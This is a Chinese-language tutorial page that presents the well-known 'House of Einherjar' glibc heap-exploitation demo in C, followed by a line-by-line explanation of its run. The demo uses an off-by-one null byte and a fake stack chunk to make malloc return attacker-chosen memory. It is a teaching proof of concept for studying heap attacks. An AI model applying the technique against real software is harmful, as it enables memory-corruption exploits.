源代码
1 #include2 #include 3 #include <string.h> 4 #include 5 #include <malloc.h> 6 7 /* 8 Credit to st4g3r for publishing this technique 9 The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc() 10 This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. 11 */ 12 13 int main() 14 { 15 fprintf(stderr, "Welcome to House of Einherjar!\n"); 16 fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n"); 17 fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n"); 18 19 uint8_t* a; 20 uint8_t* b; 21 uint8_t* d; 22 23 fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n"); 24 a = (uint8_t*) malloc(0x38); 25 fprintf(stderr, "a: %p\n", a); 26 27 int real_a_size = malloc_usable_size(a); 28 fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size); 29 30 // create a fake chunk 31 fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n"); 32 fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as long as you know its address\n"); 33 fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n"); 34 fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n"); 35 36 size_t fake_chunk[6]; 37 38 fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size 39 fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin 40 fake_chunk[2] = (size_t) fake_chunk; // fwd 41 fake_chunk[3] = (size_t) fake_chunk; // bck 42 fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize 43 fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize 44 45 46 fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk); 47 fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]); 48 fprintf(stderr, "size: %#lx\n", fake_chunk[1]); 49 fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]); 50 fprintf(stderr, "bck: %#lx\n", fake_chunk[3]); 51 fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]); 52 fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]); 53 54 /* In this case it is easier if the chunk size attribute has a least significant byte with 55 * a value of 0x00. The least significant byte of this will be 0x00, because the size of 56 * the chunk includes the amount requested plus some amount required for the metadata. */ 57 b = (uint8_t*) malloc(0xf8); 58 int real_b_size = malloc_usable_size(b); 59 60 fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n"); 61 fprintf(stderr, "b: %p\n", b); 62 63 uint64_t* b_size_ptr = (uint64_t*)(b - 8); 64 /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/ 65 66 fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr); 67 fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n"); 68 fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); 69 a[real_a_size] = 0; 70 fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); 71 fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you " 72 "don't change the size of b, only its prev_inuse bit\n"); 73 fprintf(stderr, "If it had been modified, we would need a fake chunk inside " 74 "b where it will try to consolidate the next chunk\n"); 75 76 // Write a fake prev_size to the end of a 77 fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that " 78 "it will consolidate with our fake chunk\n", sizeof(size_t)); 79 size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); 80 fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size); 81 *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; 82 83 //Change the fake chunk's size to reflect b's new prev_size 84 fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n"); 85 fake_chunk[1] = fake_size; 86 87 // free b and it will consolidate with our fake chunk 88 fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n"); 89 free(b); 90 fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); 91 92 //if we allocate another chunk before we free b we will need to 93 //do two things: 94 //1) We will need to adjust the size of our fake chunk so that 95 //fake_chunk + fake_chunk's size points to an area we control 96 //2) we will need to write the size of our fake chunk 97 //at the location we control. 98 //After doing these two things, when unlink gets called, our fake chunk will 99 //pass the size(P) == prev_size(next_chunk(P)) test. 100 //otherwise we need to make sure that our fake chunk is up against the 101 //wilderness 102 103 fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n"); 104 d = malloc(0x200); 105 fprintf(stderr, "Next malloc(0x200) is at %p\n", d); 106 }
运行结果
首先申请堆a,0x38的字节
可见用了下一个堆的prev_size字段
然后在栈上伪造一个堆fake
fake->prev_size=0x100
fake->size=0x100
fake->bk=fake->fd=fake->fd_nextsize=fake->bk_nextsize=fake
bk,fd指向自己绕过unlink的检测
size要满足small bin的大小要求
在调试环境下,fake地址为0x7fffffffdcd0
接着申请堆b 0xf8字节
b数据部分也是占用了下一个堆的prev_size字段
然后造成off-by-one 覆盖了b的size字段最低字节
然后修改a的最后8字节,即修改b的prev_size字段
prev_size=b_adr-fake_adr
此时libc会认为b的前一个堆块处于释放状态
而且会通过b_adr-prev_size找到前一个堆块的地址
这里即误认为fake为b前一块相邻的释放的堆块
接下来将的fake的size也改成b的prev_size
然后我们释放b,此时b即会向前合并,和fake合并
以fake地址开始形成一块新的释放状态的堆,size=fake->size+b->size
这里b->size算成了从b开始一直到所有堆结束的大小0x20ec0+0x100
最后申请一个0x200的堆,即会使用这个新合成的堆